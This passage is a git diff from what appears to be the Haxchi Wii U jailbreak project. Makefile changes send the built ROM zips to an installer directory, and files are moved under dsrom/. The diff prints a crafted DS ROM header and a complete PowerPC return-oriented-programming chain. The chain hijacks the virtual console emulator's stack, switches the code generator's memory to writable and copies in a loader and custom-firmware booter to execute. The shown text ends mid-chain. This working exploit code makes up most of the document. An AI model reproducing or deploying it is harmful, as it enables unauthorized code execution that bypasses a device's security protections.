haxchi.s - @mv rom.nds partnersintime.nds - -sfcommand.nds: - @armips haxchi_rop.s - @armips haxchi.s - @mv rom.nds sfcommand.nds - -sm64ds.nds: - @armips haxchi_rop.s - @armips haxchi.s - @mv rom.nds sm64ds.nds - @cp sm64ds.nds kirbycanvascurse.nds - -yoshids.nds: - @armips haxchi_rop.s - @armips haxchi.s - @mv rom.nds yoshids.nds - @cp yoshids.nds wwtouched.nds - @cp yoshids.nds bigbrainacademy.nds - -zeldaph.nds: - @armips haxchi_rop.s - @armips haxchi.s - @mv rom.nds zeldaph.nds - -zeldast.nds: - @armips haxchi_rop.s - @armips haxchi.s + +setup_zeldast: + @rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin + @cp -f zeldast_defs.s defines.s + +brainage.nds: + @armips haxchi_rop.s + @armips haxchi.s + @mv rom.nds brainage.nds + @cp brainage.nds yoshitouchandgo.nds + +dkjclimber.nds: + @armips haxchi_rop.s + @armips haxchi.s + @mv rom.nds dkjclimber.nds + +kirby.nds: + @armips haxchi_rop.s + @armips haxchi.s + @mv rom.nds kirby.nds + +kirbymassattack.nds: + @armips haxchi_rop.s + @armips haxchi.s + @mv rom.nds kirbymassattack.nds + +mariokartds.nds: + @armips haxchi_rop.s + @armips haxchi.s + @mv rom.nds mariokartds.nds + @cp mariokartds.nds newsmb.nds + +masterofdisguise.nds: + @armips haxchi_rop.s + @armips haxchi.s + @mv rom.nds masterofdisguise.nds + +newsmb_eur.nds: + @armips haxchi_rop.s + @armips haxchi.s + @mv rom.nds newsmb_eur.nds + +partnersintime.nds: + @armips haxchi_rop.s + @armips haxchi.s + @mv rom.nds partnersintime.nds + +sfcommand.nds: + @armips haxchi_rop.s + @armips haxchi.s + @mv rom.nds sfcommand.nds + +sm64ds.nds: + @armips haxchi_rop.s + @armips haxchi.s + @mv rom.nds sm64ds.nds + @cp sm64ds.nds kirbycanvascurse.nds + +yoshids.nds: + @armips haxchi_rop.s + @armips haxchi.s + @mv rom.nds yoshids.nds + @cp yoshids.nds wwtouched.nds + @cp yoshids.nds bigbrainacademy.nds + +zeldaph.nds: + @armips haxchi_rop.s + @armips haxchi.s + @mv rom.nds zeldaph.nds + +zeldast.nds: + @armips haxchi_rop.s + @armips haxchi.s @mv rom.nds zeldast.nds - -brainage.zip: - $(ZIP) -JXjq9 brainage.zip brainage.nds - $(ZIP) -JXjq9 yoshitouchandgo.zip yoshitouchandgo.nds - -dkjclimber.zip: - $(ZIP) -JXjq9 dkjclimber.zip dkjclimber.nds - -kirby.zip: - $(ZIP) -JXjq9 kirby.zip kirby.nds - -kirbymassattack.zip: - $(ZIP) -JXjq9 kirbymassattack.zip kirbymassattack.nds - -mariokartds.zip: - $(ZIP) -JXjq9 mariokartds.zip mariokartds.nds - $(ZIP) -JXjq9 newsmb.zip newsmb.nds - -masterofdisguise.zip: - $(ZIP) -JXjq9 masterofdisguise.zip masterofdisguise.nds - -newsmb_eur.zip: - $(ZIP) -JXjq9 newsmb_eur.zip newsmb_eur.nds - -partnersintime.zip: - $(ZIP) -JXjq9 partnersintime.zip partnersintime.nds - -sfcommand.zip: - $(ZIP) -JXjq9 sfcommand.zip sfcommand.nds - -sm64ds.zip: - $(ZIP) -JXjq9 sm64ds.zip sm64ds.nds - $(ZIP) -JXjq9 kirbycanvascurse.zip kirbycanvascurse.nds - -yoshids.zip: - $(ZIP) -JXjq9 yoshids.zip yoshids.nds - $(ZIP) -JXjq9 wwtouched.zip wwtouched.nds - $(ZIP) -JXjq9 bigbrainacademy.zip bigbrainacademy.nds - -zeldaph.zip: - $(ZIP) -JXjq9 zeldaph.zip zeldaph.nds - -zeldast.zip: - $(ZIP) -JXjq9 zeldast.zip zeldast.nds - -clean: - @rm -f *.bin *.nds *.zip defines.s - @cd option_select && make clean && cd .. - @cd hbl_loader && make clean && cd .. - @cd cfw_booter && make clean && cd .. - @echo "all cleaned up !" + +brainage.zip: + $(ZIP) -JXjq9 ../installer/data/brainage.zip brainage.nds + $(ZIP) -JXjq9 ../installer/data/yoshitouchandgo.zip yoshitouchandgo.nds + +dkjclimber.zip: + $(ZIP) -JXjq9 ../installer/data/dkjclimber.zip dkjclimber.nds + +kirby.zip: + $(ZIP) -JXjq9 ../installer/data/kirby.zip kirby.nds + +kirbymassattack.zip: + $(ZIP) -JXjq9 ../installer/data/kirbymassattack.zip kirbymassattack.nds + +mariokartds.zip: + $(ZIP) -JXjq9 ../installer/data/mariokartds.zip mariokartds.nds + $(ZIP) -JXjq9 ../installer/data/newsmb.zip newsmb.nds + +masterofdisguise.zip: + $(ZIP) -JXjq9 ../installer/data/masterofdisguise.zip masterofdisguise.nds + +newsmb_eur.zip: + $(ZIP) -JXjq9 ../installer/data/newsmb_eur.zip newsmb_eur.nds + +partnersintime.zip: + $(ZIP) -JXjq9 ../installer/data/partnersintime.zip partnersintime.nds + +sfcommand.zip: + $(ZIP) -JXjq9 ../installer/data/sfcommand.zip sfcommand.nds + +sm64ds.zip: + $(ZIP) -JXjq9 ../installer/data/sm64ds.zip sm64ds.nds + $(ZIP) -JXjq9 ../installer/data/kirbycanvascurse.zip kirbycanvascurse.nds + +yoshids.zip: + $(ZIP) -JXjq9 ../installer/data/yoshids.zip yoshids.nds + $(ZIP) -JXjq9 ../installer/data/wwtouched.zip wwtouched.nds + $(ZIP) -JXjq9 ../installer/data/bigbrainacademy.zip bigbrainacademy.nds + +zeldaph.zip: + $(ZIP) -JXjq9 ../installer/data/zeldaph.zip zeldaph.nds + +zeldast.zip: + $(ZIP) -JXjq9 ../installer/data/zeldast.zip zeldast.nds + +clean: + @rm -f *.bin *.nds ../installer/data/*.zip defines.s + @cd option_select && make clean && cd .. + @cd hbl_loader && make clean && cd .. + @cd cfw_booter && make clean && cd .. + @echo "all cleaned up !" diff --git a/brainage_defs.s b/dsrom/brainage_defs.s similarity index 100% rename from brainage_defs.s rename to dsrom/brainage_defs.s diff --git a/cfw_booter/Makefile b/dsrom/cfw_booter/Makefile similarity index 100% rename from cfw_booter/Makefile rename to dsrom/cfw_booter/Makefile diff --git a/cfw_booter/README b/dsrom/cfw_booter/README similarity index 100% rename from cfw_booter/README rename to dsrom/cfw_booter/README diff --git a/cfw_booter/arm_kernel/Makefile b/dsrom/cfw_booter/arm_kernel/Makefile similarity index 100% rename from cfw_booter/arm_kernel/Makefile rename to dsrom/cfw_booter/arm_kernel/Makefile diff --git a/cfw_booter/arm_kernel/link.ld b/dsrom/cfw_booter/arm_kernel/link.ld similarity index 100% rename from cfw_booter/arm_kernel/link.ld rename to dsrom/cfw_booter/arm_kernel/link.ld diff --git a/cfw_booter/arm_kernel/source/crt0.s b/dsrom/cfw_booter/arm_kernel/source/crt0.s similarity index 100% rename from cfw_booter/arm_kernel/source/crt0.s rename to dsrom/cfw_booter/arm_kernel/source/crt0.s diff --git a/cfw_booter/arm_kernel/source/main.c b/dsrom/cfw_booter/arm_kernel/source/main.c similarity index 100% rename from cfw_booter/arm_kernel/source/main.c rename to dsrom/cfw_booter/arm_kernel/source/main.c diff --git a/cfw_booter/arm_kernel/source/types.h b/dsrom/cfw_booter/arm_kernel/source/types.h similarity index 100% rename from cfw_booter/arm_kernel/source/types.h rename to dsrom/cfw_booter/arm_kernel/source/types.h diff --git a/cfw_booter/arm_kernel/source/utils.c b/dsrom/cfw_booter/arm_kernel/source/utils.c similarity index 100% rename from cfw_booter/arm_kernel/source/utils.c rename to dsrom/cfw_booter/arm_kernel/source/utils.c diff --git a/cfw_booter/arm_kernel/source/utils.h b/dsrom/cfw_booter/arm_kernel/source/utils.h similarity index 100% rename from cfw_booter/arm_kernel/source/utils.h rename to dsrom/cfw_booter/arm_kernel/source/utils.h diff --git a/cfw_booter/arm_user/Makefile b/dsrom/cfw_booter/arm_user/Makefile similarity index 100% rename from cfw_booter/arm_user/Makefile rename to dsrom/cfw_booter/arm_user/Makefile diff --git a/cfw_booter/arm_user/link.ld b/dsrom/cfw_booter/arm_user/link.ld similarity index 100% rename from cfw_booter/arm_user/link.ld rename to dsrom/cfw_booter/arm_user/link.ld diff --git a/cfw_booter/arm_user/source/crt0.s b/dsrom/cfw_booter/arm_user/source/crt0.s similarity index 100% rename from cfw_booter/arm_user/source/crt0.s rename to dsrom/cfw_booter/arm_user/source/crt0.s diff --git a/cfw_booter/arm_user/source/main.c b/dsrom/cfw_booter/arm_user/source/main.c similarity index 100% rename from cfw_booter/arm_user/source/main.c rename to dsrom/cfw_booter/arm_user/source/main.c diff --git a/cfw_booter/arm_user/source/types.h b/dsrom/cfw_booter/arm_user/source/types.h similarity index 100% rename from cfw_booter/arm_user/source/types.h rename to dsrom/cfw_booter/arm_user/source/types.h diff --git a/cfw_booter/arm_user/source/utils.c b/dsrom/cfw_booter/arm_user/source/utils.c similarity index 100% rename from cfw_booter/arm_user/source/utils.c rename to dsrom/cfw_booter/arm_user/source/utils.c diff --git a/cfw_booter/arm_user/source/utils.h b/dsrom/cfw_booter/arm_user/source/utils.h similarity index 100% rename from cfw_booter/arm_user/source/utils.h rename to dsrom/cfw_booter/arm_user/source/utils.h diff --git a/cfw_booter/coreinit.h b/dsrom/cfw_booter/coreinit.h similarity index 100% rename from cfw_booter/coreinit.h rename to dsrom/cfw_booter/coreinit.h diff --git a/cfw_booter/crt0.S b/dsrom/cfw_booter/crt0.S similarity index 100% rename from cfw_booter/crt0.S rename to dsrom/cfw_booter/crt0.S diff --git a/cfw_booter/main.c b/dsrom/cfw_booter/main.c similarity index 100% rename from cfw_booter/main.c rename to dsrom/cfw_booter/main.c diff --git a/cfw_booter/types.h b/dsrom/cfw_booter/types.h similarity index 100% rename from cfw_booter/types.h rename to dsrom/cfw_booter/types.h diff --git a/coreinit.s b/dsrom/coreinit.s similarity index 100% rename from coreinit.s rename to dsrom/coreinit.s diff --git a/dkjclimber_defs.s b/dsrom/dkjclimber_defs.s similarity index 100% rename from dkjclimber_defs.s rename to dsrom/dkjclimber_defs.s diff --git a/haxchi.s b/dsrom/haxchi.s similarity index 95% rename from haxchi.s rename to dsrom/haxchi.s index cb44545..0a6b07f 100644 --- a/haxchi.s +++ b/dsrom/haxchi.s @@ -1,40 +1,40 @@ -.include "defines.s" -.create "rom.nds", 0 - -.nds - -.org 0x000 - .ascii "HAXCHI" ; Game Title - -.org 0x00C - .ascii "HAXX" ; Gamecode - .ascii "01" ; Makercode - .byte 0x00 ; Unitcode - -.org 0x020 - .word arm9_data ; ARM9 rom_offset - .word 0x2000800 ; ARM9 entry_address - .word 0x2000000 ; ARM9 ram_address - .word arm9_data_end - arm9_data ; ARM9 size - .word arm7_data ; ARM7 rom_offset - .word 0x2000000 ; ARM7 entry_address - .word ARM7_ROM_MEM2_START + HAX_TARGET_ADDRESS ; ARM7 ram_address - .word arm7_data_end - arm7_data ; ARM7 size - -.org 0x080 - .word total_size ; Total Used ROM size - .word 0x4000 ; ROM Header Size - -.org 0x8000 -arm9_data: - .incbin "haxchi_rop.bin" -arm9_data_end: - -.align 0x1000 -arm7_data: - .incbin "haxchi_rop_hook.bin" -arm7_data_end: - -total_size: - -.Close +.include "defines.s" +.create "rom.nds", 0 + +.nds + +.org 0x000 + .ascii "HAXCHI" ; Game Title + +.org 0x00C + .ascii "HAXX" ; Gamecode + .ascii "01" ; Makercode + .byte 0x00 ; Unitcode + +.org 0x020 + .word arm9_data ; ARM9 rom_offset + .word 0x2000800 ; ARM9 entry_address + .word 0x2000000 ; ARM9 ram_address + .word arm9_data_end - arm9_data ; ARM9 size + .word arm7_data ; ARM7 rom_offset + .word 0x2000000 ; ARM7 entry_address + .word ARM7_ROM_MEM2_START + HAX_TARGET_ADDRESS ; ARM7 ram_address + .word arm7_data_end - arm7_data ; ARM7 size + +.org 0x080 + .word total_size ; Total Used ROM size + .word 0x4000 ; ROM Header Size + +.org 0x8000 +arm9_data: + .incbin "haxchi_rop.bin" +arm9_data_end: + +.align 0x1000 +arm7_data: + .incbin "haxchi_rop_hook.bin" +arm7_data_end: + +total_size: + +.Close diff --git a/haxchi_rop.s b/dsrom/haxchi_rop.s similarity index 96% rename from haxchi_rop.s rename to dsrom/haxchi_rop.s index 39496f8..d8c4670 100644 --- a/haxchi_rop.s +++ b/dsrom/haxchi_rop.s @@ -1,275 +1,275 @@ -.include "coreinit.s" -.include "defines.s" - -; more useful definitions -HBL_LOADER_ADR equ (0x01800000) -SELECTOR_ADDRESS equ (0x01808000) -CFW_BOOTER_ADR equ (0x0180C000) - -NERD_THREAD0OBJECT equ (HAX_TARGET_ADDRESS - 0x1000) -NERD_THREAD2OBJECT equ (HAX_TARGET_ADDRESS - 0x2000) - -.macro set_sp,v - .word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR - .word 0xDEADBABE ; r30 - .word v ; r31 - .word 0xDEAD0001 ; garbage - .word MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR - .word 0xDEADBABE ; r26 - .word 0xDEADBABE ; r27 - .word 0xDEADBABE ; r28 - .word 0xDEADBABE ; r29 - .word 0xDEADBABE ; r30 - .word 0xDEADBABE ; r31 - .word 0xDEAD0001 ; garbage - .word LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR -.endmacro - -.macro call_func,f,arg1,arg2,arg3,arg4 - .word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR - .word 0xDEAD0001 ; garbage - .word 0xDEADBABE ; r21 - .word 0xDEADBABE ; r22 - .word 0xDEADBABE ; r23 - .word 0xDEADBABE ; r24 - .word 0xDEADBABE ; r25 - .word 0xDEADBABE ; r26 - .word f ; r27 (ctr) - .word arg4 ; r28 (r6) - .word arg3 ; r29 (r5) - .word arg2 ; r30 (r4) - .word arg1 - 2 ; r31 (r3 - 2) - ; sp is here when LMW_R26R1x18 happens - .word 0xDEAD0004 ; garbage - .word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR - .word 0xDEAD0008 ; garbage - .word 0xDEAD000C ; garbage - .word 0xDEAD0010 ; garbage - .word 0xDEAD0014 ; garbage - .word 0xDEADBABE ; r26 - .word 0xDEADBABE ; r27 - .word 0xDEADBABE ; r28 - .word 0xDEADBABE ; r29 - .word 0xDEADBABE ; r30 - .word 0xDEADBABE ; r31 - ; final sp is here - .word 0xDEADBABE ; garbage -.endmacro - -.macro call_func_6args,f,arg1,arg2,arg3,arg4,arg5,arg6 - .word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR - .word 0xDEAD0001 ; garbage - .word arg6 ; r21 (r8) - .word 0xDEADBABE ; r22 - .word 0xDEADBABE ; r23 - .word arg1 ; r24 (r3) - .word arg2 ; r25 (r4) - .word 0xDEADBABE ; r26 - .word arg3 ; r27 (r5) - .word arg4 ; r28 (r6) - .word arg5 ; r29 (r7) - .word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR ; r30 (ctr) - .word 0xDEADBABE ; r31 - ; sp is here when LMW_R26R1x18 happens - .word 0xDEAD0004 ; garbage - .word MTCTR_R30_MR_R8R21_R7R29_R6R28_R5R27_R4R25_R3R24_BCTRL - .word 0xDEAD0001 ; garbage - .word 0xDEADBABE ; r21 - .word 0xDEADBABE ; r22 - .word 0xDEADBABE ; r23 - .word 0xDEADBABE ; r24 - .word 0xDEADBABE ; r25 - .word 0xDEADBABE ; r26 - .word f ; r27 (ctr) - .word arg4 ; r28 (r6) - .word arg3 ; r29 (r5) - .word arg2 ; r30 (r4) - .word arg1 - 2 ; r31 (r3 - 2) - ; sp is here when LMW_R26R1x18 happens - .word 0xDEAD0004 ; garbage - .word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR - .word 0xDEAD0008 ; garbage - .word 0xDEAD000C ; garbage - .word 0xDEAD0010 ; garbage - .word 0xDEAD0014 ; garbage - .word 0xDEADBABE ; r26 - .word 0xDEADBABE ; r27 - .word 0xDEADBABE ; r28 - .word 0xDEADBABE ; r29 - .word 0xDEADBABE ; r30 - .word 0xDEADBABE ; r31 - ; final sp is here - .word 0xDEADBABE ; garbage -.endmacro - - -; hacked from arm7 ram offset (unsafe, game stack pointer) -.create "haxchi_rop_hook.bin", HAX_TARGET_ADDRESS -.arm.big - -rop_hook_start: - ;call_func BCTRL, 0x0, 0x0, 0x0, 0x0 ; infinite loop - ;call_func OSFATAL, 0x1007E7A8, 0, 0, 0 - ; move stack pointer to safe area - set_sp (rop_start - 4) -.Close - - -; original game arm9 ram offset (safe, normally arm9 code) -.create "haxchi_rop.bin", ARM9_ROM_LOCATION -.arm.big - -rop_start: - ; do hachihachi cleanups so we can use everything safely - call_func HACHI_APPLICATION_SHUTDOWNANDDESTROY, HACHI_APPLICATION_PTR, 0, 0, 0 - call_func NERD_FASTWIIU_SHUTDOWN, 0, 0, 0, 0 - call_func CORE_SHUTDOWN, 0, 0, 0, 0 - - ; set up hbl_loader in core 0 - call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR, 0x1007E7A8, thread0_param, 0x0, 0x0 - - ; the code below prepares the stack for the thread in core 0 - - ; load memcpy jump into r3 - .word LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR - .word MEMCPY ; r3 - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - ; more r3 into r12 for our memcpy jump at the end of this - .word MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - ; prepare r31 to be a valid value for the next call - .word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR - .word 0xDEADBABE ; r30 - .word (core0rop_end - core0rop) ; r31 (has to be the same as r5 in the next call) - .word 0xDEAD0001 ; garbage - ; get r5 ready for the length we want to copy - .word LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR - .word (core0rop_end - core0rop) ; r5 - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; r30 - .word 0xDEAD0001 ; r31 - .word 0xDEAD0001 ; garbage - ; get r4 ready for the data we want to copy - .word LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR - .word 0xDEAD0001 ; garbage - .word core0rop ; r4 - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - ; prepare r31 to be a valid value for the next call - .word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR - .word 0xDEADBABE ; r30 - .word (HAX_TARGET_ADDRESS-0x3000) ; r31 (has to be valid here) - .word 0xDEAD0001 ; garbage - ; loads the required value for the addition onto r3 later on - .word LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - .word (0x00800000 - 0x30 + 0xAFC) ; r7 - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; r30 - .word 0xDEAD0001 ; r31 - .word 0xDEAD0001 ; garbage - ; loads pointer to new thread sp into r3 - .word LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR - .word (NERD_THREAD0OBJECT+4) ; r3 - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - ; r3 contains new thread sp end after this load - .word LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR - .word 0xDEAD0001 ; garbage - ; r3 contains code injection thread sp after this add - .word LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; r30 - .word 0xDEAD0001 ; r31 - .word 0xDEAD0001 ; garbage - ; jump to previously prepared r12 for memcpy - .word MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; r31 - .word 0xDEAD0001 ; garbage - - ; thread stack is prepared after this point - - ; wait for hbl_loader to do its job - call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0 - call_func NERD_JOINTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0 - - ; prepare system for foreground release - call_func OSSAVESDONE_READYTORELEASE, 0, 0, 0, 0 - - ; instruct all 3 cores to release foreground to prepare mii studio app launch - call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, OSRELEASEFOREGROUND, 0, thread0_param, 0x0, 0x0 - call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0 - - call_func_6args NERD_CREATETHREAD, NERD_THREAD2OBJECT, OSRELEASEFOREGROUND, 0, thread2_param, 0x0, 0x0 - call_func NERD_STARTTHREAD, NERD_THREAD2OBJECT, 0x0, 0x0, 0x0 - - ; we are the main thread in core 1 so we call this direct - call_func OSRELEASEFOREGROUND, 0, 0, 0, 0 - - ; launch mii studio app - .word _START_EXIT - - core0rop: - ; switch codegen to RW - call_func OSCODEGEN_SWITCHSECMODE, 0x0, 0x0, 0x0, 0x0 - - ; memcpy code - call_func MEMCPY, HBL_LOADER_ADR, hbl_loader, hbl_loader_end - hbl_loader, 0x0 - call_func MEMCPY, SELECTOR_ADDRESS, code, code_end - code, 0x0 - call_func MEMCPY, CFW_BOOTER_ADR, cfw_booter, cfw_booter_end - cfw_booter, 0x0 - call_func DC_FLUSHRANGE, HBL_LOADER_ADR, 0xE000, 0x0, 0x0 - - ; switch codegen to RX - call_func OSCODEGEN_SWITCHSECMODE, 0x1, 0x0, 0x0, 0x0 - call_func IC_INVALIDATERANGE, HBL_LOADER_ADR, 0xE000, 0x0, 0x0 - - ; execute hbl_loader in codegen - .word SELECTOR_ADDRESS - core0rop_end: - - ; core 0 thread params - output0_string: - .ascii "hax0thread" - .byte 0x00 - .align 0x4 - - thread0_param: - .word output0_string - .word 0x00800000 ; stack size - .word 0x00000010 ; thread prio - .halfword 0x0001 ; thread affinity (core0) - - ; core 2 thread params - output2_string: - .ascii "hax2thread" - .byte 0x00 - .align 0x4 - - thread2_param: - .word output2_string - .word 0x00800000 ; stack size - .word 0x00000010 ; thread prio - .halfword 0x0004 ; thread affinity (core2) - - code: - .incbin "code550.bin" - code_end: - - hbl_loader: - .incbin "hbl_loader.bin" - hbl_loader_end: - - cfw_booter: - .incbin "cfw_booter.bin" - cfw_booter_end: - -.Close +.include "coreinit.s" +.include "defines.s" + +; more useful definitions +HBL_LOADER_ADR equ (0x01800000) +SELECTOR_ADDRESS equ (0x01808000) +CFW_BOOTER_ADR equ (0x0180C000) + +NERD_THREAD0OBJECT equ (HAX_TARGET_ADDRESS - 0x1000) +NERD_THREAD2OBJECT equ (HAX_TARGET_ADDRESS - 0x2000) + +.macro set_sp,v + .word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR + .word 0xDEADBABE ; r30 + .word v ; r31 + .word 0xDEAD0001 ; garbage + .word MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR + .word 0xDEADBABE ; r26 + .word 0xDEADBABE ; r27 + .word 0xDEADBABE ; r28 + .word 0xDEADBABE ; r29 + .word 0xDEADBABE ; r30 + .word 0xDEADBABE ; r31 + .word 0xDEAD0001 ; garbage + .word LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR +.endmacro + +.macro call_func,f,arg1,arg2,arg3,arg4 + .word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR + .word 0xDEAD0001 ; garbage + .word 0xDEADBABE ; r21 + .word 0xDEADBABE ; r22 + .word 0xDEADBABE ; r23 + .word 0xDEADBABE ; r24 + .word 0xDEADBABE ; r25 + .word 0xDEADBABE ; r26 + .word f ; r27 (ctr) + .word arg4 ; r28 (r6) + .word arg3 ; r29 (r5) + .word arg2 ; r30 (r4) + .word arg1 - 2 ; r31 (r3 - 2) + ; sp is here when LMW_R26R1x18 happens + .word 0xDEAD0004 ; garbage + .word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR + .word 0xDEAD0008 ; garbage + .word 0xDEAD000C ; garbage + .word 0xDEAD0010 ; garbage + .word 0xDEAD0014 ; garbage + .word 0xDEADBABE ; r26 + .word 0xDEADBABE ; r27 + .word 0xDEADBABE ; r28 + .word 0xDEADBABE ; r29 + .word 0xDEADBABE ; r30 + .word 0xDEADBABE ; r31 + ; final sp is here + .word 0xDEADBABE ; garbage +.endmacro + +.macro call_func_6args,f,arg1,arg2,arg3,arg4,arg5,arg6 + .word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR + .word 0xDEAD0001 ; garbage + .word arg6 ; r21 (r8) + .word 0xDEADBABE ; r22 + .word 0xDEADBABE ; r23 + .word arg1 ; r24 (r3) + .word arg2 ; r25 (r4) + .word 0xDEADBABE ; r26 + .word arg3 ; r27 (r5) + .word arg4 ; r28 (r6) + .word arg5 ; r29 (r7) + .word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR ; r30 (ctr) + .word 0xDEADBABE ; r31 + ; sp is here when LMW_R26R1x18 happens + .word 0xDEAD0004 ; garbage + .word MTCTR_R30_MR_R8R21_R7R29_R6R28_R5R27_R4R25_R3R24_BCTRL + .word 0xDEAD0001 ; garbage + .word 0xDEADBABE ; r21 + .word 0xDEADBABE ; r22 + .word 0xDEADBABE ; r23 + .word 0xDEADBABE ; r24 + .word 0xDEADBABE ; r25 + .word 0xDEADBABE ; r26 + .word f ; r27 (ctr) + .word arg4 ; r28 (r6) + .word arg3 ; r29 (r5) + .word arg2 ; r30 (r4) + .word arg1 - 2 ; r31 (r3 - 2) + ; sp is here when LMW_R26R1x18 happens + .word 0xDEAD0004 ; garbage + .word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR + .word 0xDEAD0008 ; garbage + .word 0xDEAD000C ; garbage + .word 0xDEAD0010 ; garbage + .word 0xDEAD0014 ; garbage + .word 0xDEADBABE ; r26 + .word 0xDEADBABE ; r27 + .word 0xDEADBABE ; r28 + .word 0xDEADBABE ; r29 + .word 0xDEADBABE ; r30 + .word 0xDEADBABE ; r31 + ; final sp is here + .word 0xDEADBABE ; garbage +.endmacro + + +; hacked from arm7 ram offset (unsafe, game stack pointer) +.create "haxchi_rop_hook.bin", HAX_TARGET_ADDRESS +.arm.big + +rop_hook_start: + ;call_func BCTRL, 0x0, 0x0, 0x0, 0x0 ; infinite loop + ;call_func OSFATAL, 0x1007E7A8, 0, 0, 0 + ; move stack pointer to safe area + set_sp (rop_start - 4) +.Close + + +; original game arm9 ram offset (safe, normally arm9 code) +.create "haxchi_rop.bin", ARM9_ROM_LOCATION +.arm.big + +rop_start: + ; do hachihachi cleanups so we can use everything safely + call_func HACHI_APPLICATION_SHUTDOWNANDDESTROY, HACHI_APPLICATION_PTR, 0, 0, 0 + call_func NERD_FASTWIIU_SHUTDOWN, 0, 0, 0, 0 + call_func CORE_SHUTDOWN, 0, 0, 0, 0 + + ; set up hbl_loader in core 0 + call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR, 0x1007E7A8, thread0_param, 0x0, 0x0 + + ; the code below prepares the stack for the thread in core 0 + + ; load memcpy jump into r3 + .word LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR + .word MEMCPY ; r3 + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + ; more r3 into r12 for our memcpy jump at the end of this + .word MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + .word 0xDEAD0001 ; garbage + ; prepare r31 to be a valid value for the next call + .word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR + .word 0xDEADBABE ; r30 + .word (core0rop_end - core0rop) ; r31 (has to be the same as r5 in the next call) + .word 0xDEAD0001 ; garbage + ; get r5 ready for the length we want to copy + .word LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR + .word (core0rop_end - core0rop) ; r5 + 